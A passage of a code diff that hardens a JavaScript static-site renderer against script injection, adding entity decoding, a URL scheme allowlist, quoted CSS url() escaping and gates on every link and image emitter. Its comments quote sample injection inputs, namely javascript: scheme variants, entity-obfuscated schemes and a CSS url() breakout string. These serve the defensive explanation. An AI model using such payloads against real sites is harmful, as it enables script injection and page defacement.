some author actually meant to display would unwrap to `<`), so +// every caller below decodes exactly once, right before it validates or escapes. +// round 3, R2-P2-1: `String.fromCodePoint` throws RangeError for any code point above 0x10FFFF +// (and for a lone surrogate half) — an out-of-range or malformed numeric entity must never turn +// into a render-time crash. `safeCodePoint` returns null for anything it cannot decode, and every +// replace callback below falls back to `m` (the original entity text, left as-is) rather than +// letting the exception escape — an undecodable entity cannot become a colon, so leaving it alone +// does not weaken the scheme check. The outer try/catch is defense in depth: ANY exception here +// degrades to the raw, un-decoded string rather than throwing out of the caller. +function safeCodePoint(n) { + if (!Number.isFinite(n) || n < 0 || n > 0x10FFFF) return null; + if (n >= 0xD800 && n <= 0xDFFF) return null; // lone surrogate half — not a valid scalar value + // round 4 (R3-P3-6): a C0 control other than tab/LF/CR (notably NUL, `�`) used to decode to + // a literal control byte in the output stream — inert in a browser today (the tokenizer maps + // U+0000 in an attribute value to U+FFFD) but not something this file should ever emit, since a + // downstream minifier or proxy that STRIPS rather than replaces a NUL can turn `java\0script:` + // back into a live scheme. Reject rather than pass through — the caller's `?? m` fallback then + // leaves the original entity text alone, same as any other undecodable entity. + if (n < 0x20 && n !== 0x09 && n !== 0x0A && n !== 0x0D) return null; + try { return String.fromCodePoint(n); } catch { return null; } +} +function decodeEntitiesOnce(s) { + const raw = String(s == null ? '' : s); + try { + return raw + .replace(/&#x([0-9a-fA-F]+);?/g, (m, h) => safeCodePoint(parseInt(h, 16)) ?? m) + .replace(/&#(\d+);?/g, (m, d) => safeCodePoint(parseInt(d, 10)) ?? m) + .replace(/&(amp|lt|gt|quot|apos);/g, (m, e) => ({ amp: '&', lt: '<', gt: '>', quot: '"', apos: "'" }[e])); + } catch { + return raw; + } +} + +// isSafeHref: true if `dest` may become a live `href`/`src`. Asks the URL parser, never a prefix +// test — resolving against a fixed base is what catches "java\nscript:" and a leading space, both +// of which defeat a naive startsWith even lowercased and both still parse to javascript:. `dest` +// is entity-decoded once (see decodeEntitiesOnce) before the scheme check, so an entity-obfuscated +// scheme (`javascript:alert(1)`) is caught by the check itself rather than relying on escaping +// alone. Allowlist (round 2, P1-2): http(s), mailto, tel, sms, ftp(s) — the real schemes ordinary +// site content uses (a `tel:` contact link, an `ftp:` download) — and scheme-less destinations +// (relative paths, `#fragment`). Everything else (notably `javascript:`, `data:`, `vbscript:`) is +// unsafe and the caller renders the destination as plain text instead. `data:` is NEVER safe here +// even for an otherwise-image-shaped value — see isSafeImageSrc for the one place `data:` is ever +// allowed, and only for images, and only for a fixed set of raster MIME types. +const SAFE_HREF_BASE = 'http://sitetile.invalid/'; +const SAFE_HREF_SCHEMES = new Set(['http:', 'https:', 'mailto:', 'tel:', 'sms:', 'ftp:', 'ftps:']); + +// A disallowed destination degrades to plain text everywhere in this file (never a live link/img +// left silently blank) — but nothing told the AUTHOR that. `_dropWarnings` is a build-time-only +// diagnostic queue: renderSiteToHtml (the page-level entry point — every render in this file +// funnels through isSafeHref/isSafeImageSrc, and both call `record` exactly once per rejected +// destination, so this is the ONE place that needs to know) stamps each with the page it happened +// on and hands the batch to `takeDropWarnings` for whatever calls render to log. There is no +// existing warning channel in this module (grepped) — this is additive and does not change any +// existing function's return shape, so no caller of isSafeHref/isSafeImageSrc/renderSiteToHtml +// needs to change to keep working; a caller that wants the diagnostics opts in by calling +// takeDropWarnings() after render. +const _dropWarnings = []; +function recordDrop(rawDest) { + let scheme = '(unparseable)'; + try { scheme = new URL(decodeEntitiesOnce(rawDest), SAFE_HREF_BASE).protocol || '(none)'; } catch { /* keep '(unparseable)' */ } + _dropWarnings.push({ scheme, dest: String(rawDest == null ? '' : rawDest) }); +} +function isSafeHref(dest) { + const raw = decodeEntitiesOnce(dest); + if (raw === '') return true; + let u; + try { u = new URL(raw, SAFE_HREF_BASE); } catch { recordDrop(dest); return false; } + const ok = SAFE_HREF_SCHEMES.has(u.protocol); + if (!ok) recordDrop(dest); + return ok; +} + +// isSafeImageSrc: the `isSafeHref` allowlist, PLUS `data:` for a fixed set of raster image MIME +// types ONLY (round 2, P1-2) — real recast content (Wix/Blogger imports) embeds photos this way, +// and unlike `<a href>`, an `<img>`/`<video>` `src` is not a script-execution context in any +// current browser. `image/svg+xml` is deliberately excluded (an SVG can carry its own `<script>`) +// — this is an allowlist of raster formats, not "any data: URI whose MIME starts with image/". +// Never used for `href` — an anchor never gets the `data:` exception, only src does. +const SAFE_IMAGE_DATA_RE = /^data:image\/(?:png|jpeg|jpg|gif|webp|avif);base64,/i; +function isSafeImageSrc(dest) { + const raw = decodeEntitiesOnce(dest); + if (raw === '') return true; + const stripped = raw.replace(/[\u0009\u000a\u000d]/g, '').replace(/^[\u0000-\u0020]+/, ''); + if (SAFE_IMAGE_DATA_RE.test(stripped)) return true; + return isSafeHref(raw); +} + +// safeHref / safeSrc — the Astro layer's front door to this file's ONE allowlist policy (round 3, +// Astro consumers). The Astro components build `href=`/`src=` bindings directly in JSX-like +// template expressions rather than through an HTML-string emitter, so they cannot call `escAttr` +// or branch on an internal `Ok` flag the way this file's own renderer does — but they CAN call a +// plain function and use its return value as the presence check. Each returns the entity-decoded, +// validated destination (Astro attribute-escapes it on output, same job `escAttr` does here) when +// the corresponding `isSafe*` check admits it, or `null` when it does not — so a component does +// `{safeHref(x) ? <a href={safeHref(x)}>…</a> : <span>…</span>}`, the same degrade-to-plain-text +// shape every emitter in this file already uses, and gets a drop recorded in the same diagnostics +// queue for free (isSafeHref/isSafeImageSrc call recordDrop internally). `null` (not `''`) so a +// component's own `href && …` truthy check treats "disallowed" the same as "absent". +function safeHref(dest) { + if (dest == null || dest === '') return null; + return isSafeHref(dest) ? decodeEntitiesOnce(dest) : null; +} +function safeSrc(dest) { + if (dest == null || dest === '') return null; + return isSafeImageSrc(dest) ? decodeEntitiesOnce(dest) : null; +} + +// round 4 (R3-P3-3): this file's OWN href/src emitters below used to escAttr() the RAW, +// undecoded destination even after isSafeHref/isSafeImageSrc had already decoded it once to +// validate the scheme — while safeHref()/safeSrc() (above) hand the Astro layer the DECODED +// string, which Astro then attribute-escapes on output. Same input, two different resolved +// URLs depending on which renderer built the page (`/a:b` → this file emitted the raw +// `&#58;b`, Astro emitted the decoded `/a:b`) — never a security defect either direction +// (the raw form is always the LESS decoded one, so it can never carry a colon the validated +// form lacked), but a parity divergence `site-core-roundtrip.test.mjs` exists to catch. Every +// caller below that emits an already-gated href/src now decodes once — the same decode +// isSafeHref/isSafeImageSrc already performed — before escaping, so both renderers agree. +function escHrefAttr(dest) { return escAttr(decodeEntitiesOnce(dest)); } + +// round 5 (R4-P3-6): a scheme-gated `bg=`/background destination still reached CSS as an +// UNQUOTED `url(…)` token — `escAttr` only makes the value safe as an *HTML attribute*, it does +// nothing for the *CSS* grammar nested inside that attribute, and an unquoted `url()` token has +// no way to escape a `)` or `;` at all: `/a.png);position:fixed;inset:0;…` closes the url() and +// the declaration early, then opens arbitrary new declarations in the same inline style — a +// full-viewport defacement/clickjacking primitive from a page parameter, with no script involved. +// Fix: never emit an unquoted url() for an author-controlled destination. Quote it, and CSS-escape +// ONLY the two characters a quoted CSS string treats specially (backslash, then the quote itself — +// order matters: escaping backslash first stops the quote-escape's inserted backslash from being +// re-escaped) plus a raw line break (illegal inside a CSS string; escaped to the CSS char escape +// `\A` so it can never terminate the string early). Every other byte — `)`, `;`, whitespace — is +// inert once inside the quotes, so nothing after this string can start a new declaration. The +// *HTML* attribute escaping (escAttr, applied by every caller after this) still runs on top and +// is unaffected: a browser decodes HTML entities in an attribute value BEFORE handing it to the +// CSS parser, so `"` round-trips back to `"` first and the CSS parser sees exactly the +// quoted string built here. +function cssUrlString(u) { + return String(u == null ? '' : u) + .replace(/\\/g, '\\\\') + .replace(/"/g, '\\"') + .replace(/\r\n|[\r\n]/g, '\\A '); +} + // A markdown image whose src is a VIDEO file (`![](…/clip.mp4)`) renders a real <video>, not a broken // <img>. Markdown has no video literal, and sitetile refuses raw-HTML islands (bodyHtml escapes them), // so this IS the platform's video primitive — the src extension is the signal. Needed by Wix/Blogger @@ -594,7 +743,23 @@ const RE_VIDEO_SRC = /\.(mp4|webm|mov|m4v|ogv)(?:$|[?#])/i; // One <img> — zero-JS, lazy, responsive (sized by .st-img CSS + reef tokens). alt/src are already // cssmd-escaped (&<> done) by the time we build this, so only quote-escape. A video src yields // <video controls> instead (poster carried via the alt slot: `![poster-url](clip.mp4)` if present). +// +// 🩸 round 2, P1-1/P2-2: `inlineHtml`'s OWN markdown-image and wikilink call sites scheme-check +// before ever reaching here, but `heroParts`' multi-image extraction and `firstImage` (grid +// image-cards, gallery, carousel, people figures) build `{alt,src}` straight off a markdown regex +// and call this directly — a `javascript:`/`data:` src reached a live `<img src>`/`<video src>` +// through those, unvalidated. Gated here too so no caller of `imgTag` can bypass the policy by +// existing; a disallowed src renders nothing (empty string) rather than risk re-escaping an `alt` +// whose escaping state varies by caller (some already cssmd-escaped, some raw markdown text). function imgTag(alt, src) { + if (!isSafeImageSrc(src)) return ''; + // round 5 (R4-P3-3): every OTHER already-gated href/src emitter in this file switched to + // escHrefAttr (decode-once, THEN escape) so this renderer would agree byte-for-byte with the + // Astro layer's safeSrc()-fed templates — imgTag was the one left behind, still escaping the + // RAW (undecoded) src even though isSafeImageSrc just decoded it once to validate the scheme. + // Not a security defect either direction (the raw form is always the LESS decoded one, so it + // can never carry a colon the validated form lacked), but it is a real divergence + // (`/a:b.png` rendered as literal `&#58;b.png` here, `/a:b.png` on the Astro side). if (RE_VIDEO_SRC.test(String(src || ''))) { const hasPoster = alt && /^https?:\/\/|^\//.test(alt); const poster = hasPoster ? ' poster="' + attrq(alt) + '"' : ''; @@ -604,9 +769,9 @@ function imgTag(alt, src) { // settle, for nothing a reader could see. Without a poster, `metadata` still earns its keep — // it is what gives the player a first frame instead of a black rectangle. const preload = hasPoster ? 'none' : 'metadata'; - return '<video class="st-video" src="' + attrq(src) + '"' + poster + ' controls playsinline preload="' + preload + '"></video>'; + return '<video class="st-video" src="' + escHrefAttr(src) + '"' + poster + ' controls playsinline preload="' + preload + '"></video>'; } - return '<img class="st-img" src="' + attrq(src) + '" alt="' + attrq(alt) + '" loading="lazy" decoding="async">'; + return '<img class="st-img" src="' + escHrefAttr(src) + '" alt="' + attrq(alt) + '" loading="lazy" decoding="async">'; } // A code SPAN's [start, end) byte range in a RAW (unescaped) fragment — the same delimiter rule @@ -773,6 +938,19 @@ function inlineHtml(text, opts) { // sees it, and the whole link then renders as literal `[X](https://…)` text on the page. // Stash destinations, run the inline pass on everything else, restore. (\u0001 cannot appear in // authored markdown and the chain leaves it alone, so it is a safe placeholder.) + // + // 🩸 The stash used to restore each destination RAW — unescaped — straight back into the text + // stream, before it was known whether the placeholder even sat inside a real `[label](…)`/ + // `![alt](…)` construct. The initial stash regex below only requires the `](…)` SHAPE, not a + // matching `[`, so two unrelated bracket-fragments elsewhere in ordinary prose can each stash + // their bracketed content as a "destination" — one carrying the opening half of a live element, + // the other its closing half — and restoring both raw spliced a live, syntactically complete + // element into the page: reachable by anyone who can write page Markdown, with no link ever + // actually forming. Restoring through `escHtml` (the same escaper cssmd already ran over the + // rest of this string) closes that regardless of whether the placeholder ends up inside a tag + // or bare in text. A destination that DOES end up forming a link or image is additionally + // scheme-checked below (isSafeHref) before it is allowed into an href/src at all — escaping + // alone stops a raw element from forming but does nothing about `javascript:`/`data:`. const hrefs = []; const stashed = String(text == null ? '' : text) .replace(/\]\(([^)\s]+)\)/g, (m, href) => { hrefs.push(href); return '](\u0001' + (hrefs.length - 1) + '\u0001)'; }); @@ -782,23 +960,39 @@ function inlineHtml(text, opts) { // different escape step — which is this one (escapeInline instead of plain escHtml, so an HTML // comment is consumed at the same point the raw text is examined for '<', see escapeInline above). let s = markEscapes(markEmphasis(markCode(escapeInline(stashed, opts), 'st'), 'st'), 'st'); - s = s.replace(/\u0001(\d+)\u0001/g, (m, i) => hrefs[+i]); - s = s.replace(/!\[\[([^\]]+)\]\]/g, (mm, inner) => imgTag(inner.split('/').pop(), inner)); // wikilink embed - s = s.replace(/!\[([^\]]*)\]\(([^)\s]+)\)/g, (mm, alt, src) => imgTag(alt, src)); // markdown image + // round 2, P2-1: this used to escHtml the RAW captured href unconditionally. An author whose + // destination already carried an entity (`?a=1&b=2` from an HTML-to-Markdown import, or a + // hand-typed `&`) got escaped a SECOND time (`&amp;b=2`), corrupting the URL a browser + // would request. Decoding once first, then escaping once, normalises both an already-escaped + // and a literal-`&` author to the same, correctly-single-escaped output — and, as a side + // effect, is what lets the scheme check below see through an entity-obfuscated scheme + // (`javascript:`) instead of leaning on escaping alone to neutralise it. + s = s.replace(/\u0001(\d+)\u0001/g, (m, i) => escHtml(decodeEntitiesOnce(hrefs[+i]))); + // wikilink embed: `inner` was never stashed (no `](` shape), so cssmd's own escapeInline pass + // above already ran over it like any other text. round 2, P2-2: that answers the ESCAPING + // question only — it never checked the SCHEME, so `![[javascript:alert(1)]]` reached a live + // `<img src>` untouched. Same guard as the sibling markdown-image line two rows below. + s = s.replace(/!\[\[([^\]]+)\]\]/g, (mm, inner) => (isSafeImageSrc(inner) ? imgTag(inner.split('/').pop(), inner) : inner.split('/').pop())); + // markdown image: `src` here is the (now escaped) restored destination. A disallowed scheme + // renders no <img> at all — just the (already-escaped) alt text, same shape as a broken image's + // fallback text, per isSafeImageSrc above (round 2, P1-2: images additionally allow a small + // raster `data:` allowlist that a plain href never does). + s = s.replace(/!\[([^\]]*)\]\(([^)\s]+)\)/g, (mm, alt, src) => (isSafeImageSrc(src) ? imgTag(alt, src) : alt)); // External inline links open in a new tab too (design 2026-07-13, extended from affordances to // prose at the maintainer's call): an external link is external wherever it appears. s = s.replace(/\[([^\]]+)\]\(([^)\s]+)\)/g, (mm, lab, href) => { + if (!isSafeHref(href)) return lab; // disallowed scheme (e.g. javascript:) → plain text, no href const tgt = /^https?:\/\//i.test(href) ? ' target="_blank" rel="noopener"' : ''; return '<a href="' + attrq(href) + '"' + tgt + '>' + lab + '</a>'; }); // Allowlisted inline <small> (no attributes) — the one raw tag legacy IRs use for muted fine // print (e.g. an "updated on …" stamp). escapeInline escaped it to `<small>`; re-emit - // the bare tag so it renders small instead of showing literally. XSS-safe: no attrs, no other tag. + // the bare tag so it renders small instead of showing literally. script-injection-safe: no attrs, no other tag. s = s.replace(/<(\/?)small>/g, '<$1small>'); // Allowlisted <br> (no attributes, self-closing or not) — a heading/lead authored with a forced // line break (e.g. a hero title that's "Line one,<br>Line two,<br>Line three!" on live). Same // escape→re-emit trick as <small>. General: any inlineHtml call site (h1, eyebrow, prose spans) - // gets real line breaks for free. XSS-safe: no attrs, no other tag. + // gets real line breaks for free. script-injection-safe: no attrs, no other tag. s = s.replace(/<br\s*\/?>/g, '<br>'); return s; } @@ -862,7 +1056,7 @@ const isHeadlessTableStart = (lines, i) => // supports (a) `<br>` in-cell line breaks (the GFM-in-cell convention) and (b) a BULLETED LIST inside // a cell — a `<br>`-joined run where EVERY segment leads with a list marker (`-`/`*`/`+`/`・`/`•`) becomes // a real `<ul class="st-cell-list">` (a corporate profile's 事業内容 value is such a list). Non-list cells just -// inline each `<br>`-segment. XSS-safe: fragments go through inlineHtml (escapes &<>); the only raw +// inline each `<br>`-segment. script-injection-safe: fragments go through inlineHtml (escapes &<>); the only raw // tags emitted are our own <br>/<ul>/<li>. const RE_CELL_BR = /<br\s*\/?>/i; // The markers a hand-authored item leads with: markdown's own `-`/`*`/`+`, plus the typographic @@ -1393,7 +1587,14 @@ function ctaHtml(val, cls) { if (!val) return ''; // The single filled hero CTA carries no arrow by design (it's the headline action, not a link // in a row); it still follows the shared new-tab rule for external destinations (2026-07-13). - if (typeof val === 'object') return '<a class="' + cls + '" href="' + escAttr(val.href || '#') + '"' + targetAttrs(linkKind(val.href, val.label)) + '>' + escHtml(val.label || '') + '</a>'; + // 🩸 round 2, P1-1: this built `href` with escAttr alone — the same author-controlled Markdown + // `cta="…"→href` destination `inlineHtml` scheme-checks, reaching a live href unchecked one + // emitter over. A disallowed destination now degrades to the same plain `<span>` the bare-string + // branch below already renders, never a live `javascript:`/`data:` href. + if (typeof val === 'object') { + if (!isSafeHref(val.href || '')) return '<span class="' + cls + '">' + escHtml(val.label || '') + '</span>'; + return '<a class="' + cls + '" href="' + escHrefAttr(val.href || '#') + '"' + targetAttrs(linkKind(val.href, val.label)) + '>' + escHtml(val.label || '') + '</a>'; + } return '<span class="' + cls + '">' + escHtml(val) + '</span>'; } @@ -1424,9 +1625,15 @@ function ctaButtonsHtml(pmButton, body, pmIcon) { // Affordance = a signet-arrow chosen by link kind — see linkKind (design 2026-07-13). The old // icon=heart / mailto→envelope glyph rules are gone: decorative marks never sit inside a button. // `pmIcon` is intentionally ignored now (kept in the signature for Cta.astro call-site compat). + // 🩸 round 2, P1-1: every button here comes from `splitCtaBody`/`RE_CTA_LINK` — the same author + // Markdown destination `inlineHtml` scheme-checks — but this loop built `href` with escAttr + // alone. A disallowed destination degrades to the button's OWN classes on a `<span>` (no href, + // no live link), keeping its label and arrow visible rather than vanishing. const row = all.length ? '<div class="st-cta-btns">' + all.map((b, idx) => { + const cls = 'st-cta-btn ' + (idx === 0 ? 'st-cta-btn-primary' : 'st-cta-btn-secondary'); + if (!isSafeHref(b.href || '')) return '<span class="' + cls + '">' + escHtml(b.label) + '</span>'; const kind = linkKind(b.href, b.label); - return '<a class="st-cta-btn ' + (idx === 0 ? 'st-cta-btn-primary' : 'st-cta-btn-secondary') + '" href="' + escAttr(b.href || '#') + '"' + targetAttrs(kind) + '>' + + return '<a class="' + cls + '" href="' + escHrefAttr(b.href || '#') + '"' + targetAttrs(kind) + '>' + escHtml(b.label) + '<span class="st-cta-arrow" aria-hidden="true">' + affordanceArrow(kind, 16) + '</span></a>'; }).join('') + '</div>' : ''; return { row, caption }; @@ -1508,10 +1715,20 @@ function linkButtonsHtml(buttons, cls) { const isGithub = (href) => !!href && /^https?:\/\/(www\.)?github\.com\//i.test(href); // `plain:true` entries (e.g. a trailing "Back to X" nav link) render as a bare text link in // their natural source position, not button chrome — see heroParts' `singleBackLink` comment. + // 🩸 round 2, P1-1: hero/social buttons come from `heroParts`/`socialParts` — the SAME author + // Markdown destination as a `cta`, reachable from ordinary page prose via a live production + // component (`Hero.astro`) — but this built `href` with escAttr alone. A disallowed destination + // degrades to a `<span>` with the button's own classes, never a live href. return '<div class="' + cls + '-btns">' + buttons.map((b) => { - if (b.plain) return '<a class="' + cls + '-plain" href="' + escAttr(b.href || '#') + '">' + arrowSvg('left', 14) + escHtml(b.label) + '</a>'; + const safe = isSafeHref(b.href || ''); + if (b.plain) { + if (!safe) return '<span class="' + cls + '-plain">' + arrowSvg('left', 14) + escHtml(b.label) + '</span>'; + return '<a class="' + cls + '-plain" href="' + escHrefAttr(b.href || '#') + '">' + arrowSvg('left', 14) + escHtml(b.label) + '</a>'; + } + const btnCls = cls + '-btn ' + cls + '-btn-' + (b.primary ? 'primary' : 'secondary'); + if (!safe) return '<span class="' + btnCls + '">' + (isGithub(b.href) ? githubSvg(16) : '') + escHtml(b.label) + '</span>'; const kind = linkKind(b.href, b.label); - return '<a class="' + cls + '-btn ' + cls + '-btn-' + (b.primary ? 'primary' : 'secondary') + '" href="' + escAttr(b.href || '#') + '"' + targetAttrs(kind) + '>' + + return '<a class="' + btnCls + '" href="' + escHrefAttr(b.href || '#') + '"' + targetAttrs(kind) + '>' + (isGithub(b.href) ? githubSvg(16) : '') + escHtml(b.label) + affordanceArrow(kind, 16) + '</a>'; }).join('') + '</div>'; } @@ -1537,9 +1754,17 @@ function arrowSvg(direction, size) { // Decorative marks (heart/envelope) are NEVER the affordance; if a site wants one it lives // OUTSIDE the button. This supersedes the old icon=/mailto→envelope glyph rules. function linkKind(href, label) { - const h = String(href || ''); + // round 3, classification consistency: a browser treats `\` exactly like `/` when resolving a + // URL, so `\\evil.example`, `/\evil.example` and `//evil.example` are three spellings of the + // SAME network-path reference (a different origin) — normalise backslashes to slashes FIRST so + // all three take the same branch below, then treat a leading `//` (protocol-relative) as + // external. Without the normalisation, the raw `startsWith('/')` check used to call + // `//evil.example` internal and `\\evil.example` external — two names for one destination + // disagreeing about whether it leaves the site. + const h = String(href || '').replace(/\\/g, '/'); if (/^back to /i.test(String(label || '').trim())) return 'back'; if (/^mailto:/i.test(h)) return 'mailto'; + if (h.startsWith('//')) return 'external'; if (h && !h.startsWith('/') && !h.startsWith('#')) return 'external'; return 'internal'; } @@ -1584,7 +1809,14 @@ function renderSection(s) { const type = KNOWN_TYPES.indexOf(s.type) >= 0 ? s.type : 'prose'; switch (type) { case 'hero': { - const style = pm.bg ? ' style="background-image:url(' + escAttr(pm.bg) + ')"' : ''; + // round 4: `bg=` is an author-controlled background-image destination reaching a live CSS + // `url()` with no gate (found sweeping every `url(` sink in this file per the R3 review's + // sink-class list) — the same sink class as `logo=`/`heroParts` images elsewhere in this + // function, gated the same way (`isSafeImageSrc`, since this is an image destination). + const bgOk = pm.bg && isSafeImageSrc(pm.bg) ? decodeEntitiesOnce(pm.bg) : null; + // round 5 (R4-P3-6): quoted + CSS-string-escaped (cssUrlString), THEN HTML-attribute-escaped + // (escAttr) — see cssUrlString's own header for why both layers are required. + const style = bgOk ? ' style="' + escAttr('background-image:url("' + cssUrlString(bgOk) + '")') + '"' : ''; // media variant for a foreground image: avatar (round, default) vs logo (uncropped, not round). const media = pm.media === 'logo' ? 'logo' : 'avatar'; // LEGACY (default) hero — unchanged: h1 + body + single `cta=` param. Live sites rely on this exact @@ -1629,14 +1861,21 @@ function renderSection(s) { const packMasonry = pm.pack === 'masonry' || (pm.pack && typeof pm.pack === 'object' && pm.pack.label === 'masonry'); const packCols = Math.max(2, parseInt(pm.cols, 10) || 2); const cellsArr = (s.cells || []); + // 🩸 round 2, P1-1: `c.href`/`c.badgeHref` come from `### Title →href`/`[Label →href]` — + // author Markdown parsed the same way a CTA link is, but every branch below built its href + // with escAttr alone (truthy-only, no scheme check). Each `hrefOk`/`badgeHrefOk` folds the + // check into the EXISTING truthy branch every cell already has for "no link" — a disallowed + // destination degrades to that same plain (non-`<a>`) shape. const cells = cellsArr.map((c) => { + const hrefOk = !!c.href && isSafeHref(c.href); + const badgeHrefOk = !!c.badgeHref && isSafeHref(c.badgeHref); if (imageCards) { const fi = firstImage(c.body); const fig = fi.img ? '<figure class="st-gal-fig">' + imgTag(fi.img.alt, fi.img.src) + '</figure>' : ''; const badge = c.badge ? '<span class="st-cell-badge" data-badge="' + escAttr(c.badge.toLowerCase()) + '">' + inlineHtml(c.badge) + '</span>' : ''; const inner = fig + badge + '<h3>' + inlineHtml(c.title) + '</h3>' + bodyHtml(fi.rest); - return c.href - ? '<a class="st-cell st-gal-cell st-cell-link group" href="' + escAttr(c.href) + '">' + inner + '</a>' + return hrefOk + ? '<a class="st-cell st-gal-cell st-cell-link group" href="' + escHrefAttr(c.href) + '">' + inner + '</a>' : '<div class="st-cell st-gal-cell">' + inner + '</div>'; } // optional status badge (`[Soon]`) — a pill the theme colours by data-badge; optional leading @@ -1650,7 +1889,7 @@ function renderSection(s) { // `[Label →href]` badge = a SECONDARY card link (its own action). It can't nest inside the // whole-cell <a>, so such a cell uses the OVERLAY pattern: a relative container, an absolute // full-cell overlay <a> (the primary link), and the action + "Learn more" stacked above it. - const hasAction = !!(c.href && c.badgeHref); + const hasAction = hrefOk && badgeHrefOk; const inner = ((footTag || hasAction) ? '' : badge) + emoji + '<h3>' + inlineHtml(c.title) + '</h3>' + bodyHtml(c.body); // labeled CTA ("<cta>" on the heading) renders the directional arrow; bare href → a chevron. // Cells that carry an emoji/badge (status cards) get NO chevron — the badge is the affordance. @@ -1658,16 +1897,16 @@ function renderSection(s) { ? '<span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">' + inlineHtml(c.cta) + '</span>' + arrowSvg(/^https?:\/\//.test(c.href) ? 'up-right' : 'right') + '</span>' : (c.badge || c.emoji) ? '' : '<span class="st-cell-cta" aria-hidden="true">›</span>'; if (hasAction) { - const action = '<a class="st-cell-action" href="' + escAttr(c.badgeHref) + '"' + (/^https?:\/\//.test(c.badgeHref) ? ' target="_blank" rel="noopener"' : '') + '>' + const action = '<a class="st-cell-action" href="' + escHrefAttr(c.badgeHref) + '"' + (/^https?:\/\//.test(c.badgeHref) ? ' target="_blank" rel="noopener"' : '') + '>' + '<span class="st-cta-label">' + inlineHtml(c.badge) + '</span>' + arrowSvg(/^https?:\/\//.test(c.badgeHref) ? 'up-right' : 'right') + '</a>'; return '<div class="st-cell st-cell-link st-cell-overlaid group">' - + '<a class="st-cell-overlay" href="' + escAttr(c.href) + '"' + (/^https?:\/\//.test(c.href) ? ' target="_blank" rel="noopener"' : '') + ' aria-label="' + escAttr(c.title) + '"></a>' + + '<a class="st-cell-overlay" href="' + escHrefAttr(c.href) + '"' + (/^https?:\/\//.test(c.href) ? ' target="_blank" rel="noopener"' : '') + ' aria-label="' + escAttr(c.title) + '"></a>' + inner + '<div class="st-cell-foot">' + action + cta + '</div></div>'; } const tail = footTag ? '<div class="st-cell-foot">' + badge + cta + '</div>' : cta; // a cell with a href is a whole-cell link; the `group` class drives the arrow's hover morph. - return c.href - ? '<a class="st-cell st-cell-link group" href="' + escAttr(c.href) + '"' + (/^https?:\/\//.test(c.href) ? ' target="_blank" rel="noopener"' : '') + '>' + inner + tail + '</a>' + return hrefOk + ? '<a class="st-cell st-cell-link group" href="' + escHrefAttr(c.href) + '"' + (/^https?:\/\//.test(c.href) ? ' target="_blank" rel="noopener"' : '') + '>' + inner + tail + '</a>' : '<div class="st-cell">' + inner + tail + '</div>'; }); let cellsHtml; @@ -1695,8 +1934,8 @@ function renderSection(s) { const badge = c.badge ? '<span class="st-cell-badge" data-badge="' + escAttr(c.badge.toLowerCase()) + '">' + inlineHtml(c.badge) + '</span>' : ''; const cta = c.cta ? '<span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">' + inlineHtml(c.cta) + '</span></span>' : ''; const inner = fig + '<h3>' + inlineHtml(c.title) + '</h3>' + bodyHtml(fi.rest) + cta; - return c.href - ? '<a class="st-gal-cell st-cell-link group" href="' + escAttr(c.href) + '">' + badge + inner + '</a>' + return (c.href && isSafeHref(c.href)) + ? '<a class="st-gal-cell st-cell-link group" href="' + escHrefAttr(c.href) + '">' + badge + inner + '</a>' : '<div class="st-gal-cell">' + badge + inner + '</div>'; }).join(''); return '<section class="st-gallery" data-cols="' + escAttr(pm.cols || '') + '">' + @@ -1714,8 +1953,8 @@ function renderSection(s) { const badge = c.badge ? '<span class="st-cell-badge" data-badge="' + escAttr(c.badge.toLowerCase()) + '">' + inlineHtml(c.badge) + '</span>' : ''; const cta = c.cta ? '<span class="st-cell-cta st-cell-cta-labeled"><span class="st-cta-label">' + inlineHtml(c.cta) + '</span></span>' : ''; const inner = fig + '<h3>' + inlineHtml(c.title) + '</h3>' + bodyHtml(fi.rest) + cta; - return c.href - ? '<a class="st-car-cell st-gal-cell st-cell-link group" href="' + escAttr(c.href) + '">' + badge + inner + '</a>' + return (c.href && isSafeHref(c.href)) + ? '<a class="st-car-cell st-gal-cell st-cell-link group" href="' + escHrefAttr(c.href) + '">' + badge + inner + '</a>' : '<div class="st-car-cell st-gal-cell">' + badge + inner + '</div>'; }).join(''); // `more="LABEL=/href"` — optional "view all" link top-right of the heading row (mirrors Carousel.astro). @@ -1723,9 +1962,11 @@ function renderSection(s) { const more = moreRaw && String(moreRaw).includes('=') ? { label: String(moreRaw).split('=')[0].trim(), href: String(moreRaw).split('=').slice(1).join('=').trim() } : null; + const moreOk = more && isSafeHref(more.href); const head = (s.title || more) ? '<div class="st-car-head">' + (s.title ? '<h2>' + inlineHtml(s.title) + '</h2>' : '') + - (more ? '<a class="st-car-more" href="' + escAttr(more.href) + '">' + inlineHtml(more.label) + '</a>' : '') + '</div>' + (moreOk ? '<a class="st-car-more" href="' + escHrefAttr(more.href) + '">' + inlineHtml(more.label) + '</a>' + : more ? '<span class="st-car-more">' + inlineHtml(more.label) + '</span>' : '') + '</div>' : ''; return '<section class="st-carousel" data-cols="' + escAttr(pm.cols || '') + '">' + head + bodyHtml(s.body) + @@ -1770,14 +2011,18 @@ function renderSection(s) { // row the name stays text and every destination is reachable from the row, so a card // never has two competing "the" links. const nm = inlineHtml(p.title); - const name = p.href - ? '<h3 class="st-person-name"><a href="' + escAttr(p.href) + '"' + (/^https?:\/\//.test(p.href) ? ' target="_blank" rel="noopener"' : '') + '>' + nm + '</a></h3>' + const name = (p.href && isSafeHref(p.href)) + ? '<h3 class="st-person-name"><a href="' + escHrefAttr(p.href) + '"' + (/^https?:\/\//.test(p.href) ? ' target="_blank" rel="noopener"' : '') + '>' + nm + '</a></h3>' : '<h3 class="st-person-name">' + nm + '</h3>'; const rl = p.badge ? '<span class="st-person-roles">' + roles(p.badge).map((x) => '<span class="st-person-role">' + escHtml(x) + '</span>').join('') + '</span>' : ''; + // 🩸 round 2, P1-1: each `l.href` is an author destination (a person's named link row); + // a disallowed one degrades to a plain `<span>` instead of a live `<a>`. const lk = (p.links && p.links.length) - ? '<div class="st-person-links">' + p.links.map((l) => '<a class="st-person-link" href="' + escAttr(l.href) + '"' + (/^https?:\/\//.test(l.href) ? ' target="_blank" rel="noopener"' : '') + '>' + escHtml(l.label) + '</a>').join('') + '</div>' + ? '<div class="st-person-links">' + p.links.map((l) => isSafeHref(l.href) + ? '<a class="st-person-link" href="' + escHrefAttr(l.href) + '"' + (/^https?:\/\//.test(l.href) ? ' target="_blank" rel="noopener"' : '') + '>' + escHtml(l.label) + '</a>' + : '<span class="st-person-link">' + escHtml(l.label) + '</span>').join('') + '</div>' : ''; return '<div class="st-person"' + (p.tone ? ' data-tone="' + 